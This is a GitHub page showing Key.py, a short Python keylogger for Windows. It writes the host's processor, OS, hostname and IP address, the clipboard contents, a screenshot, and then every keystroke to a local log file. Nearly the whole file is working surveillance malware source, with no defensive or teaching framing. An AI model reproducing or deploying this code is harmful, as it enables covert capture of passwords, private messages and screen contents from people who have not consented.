-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathKey.py
80 lines (56 loc) · 1.97 KB
/
Key.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# Libraries
import socket, platform
import win32clipboard
import pyautogui
from pynput.keyboard import Listener
# Get Computer and Network Information
def device_information():
with open("Log.txt", "a") as f:
host = socket.gethostname()
IP = socket.gethostbyname(host)
f.write("Processor: " + platform.processor() + "\n")
f.write("System: " + platform.system() + " " + platform.version() + "\n")
f.write("Machine: " + platform.machine() + "\n")
f.write("Host Name: " + host + "\n")
f.write("IP Address: " + IP + "\n")
f.write("\n")
device_information()
# Gather clipboard contents
def copy_clipboard():
with open("Log.txt", "a") as f:
try:
win32clipboard.OpenClipboard()
data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
f.write("Clipboard Data: \n" + data)
f.write("\n")
f.write("\n")
except:
f.write("Clipboard could not be copied.")
f.write("\n")
f.write("\n")
copy_clipboard()
# Screenshot functionalities
def screenshot():
im = pyautogui.screenshot()
im.save(r"D:\D\screenshot.png")
screenshot()
def on_press(key):
keys = str(key).replace("'", "")
if keys == "Key.space":
keys = " "
if keys == "Key.enter":
keys = "\n"
if keys == "Key.backspace":
keys = "_"
if keys == "Key.shift" or keys == "Key.shift_r" or keys == "Key.ctrl_r" or keys == "Key.ctrl_l" or keys == "Key.caps_lock" or keys == "Key.alt_l" or keys == "Key.alt_gr" or keys == "Key.tab" or keys == "Key.cmd":
keys = ""
print("{0} pressed".format(key))
with open("Log.txt", "a") as o:
o.write(keys)
def on_release(key):
pass
# if key == key.esc:
# return False
with Listener(on_press=on_press, on_release=on_release) as l:
l.join()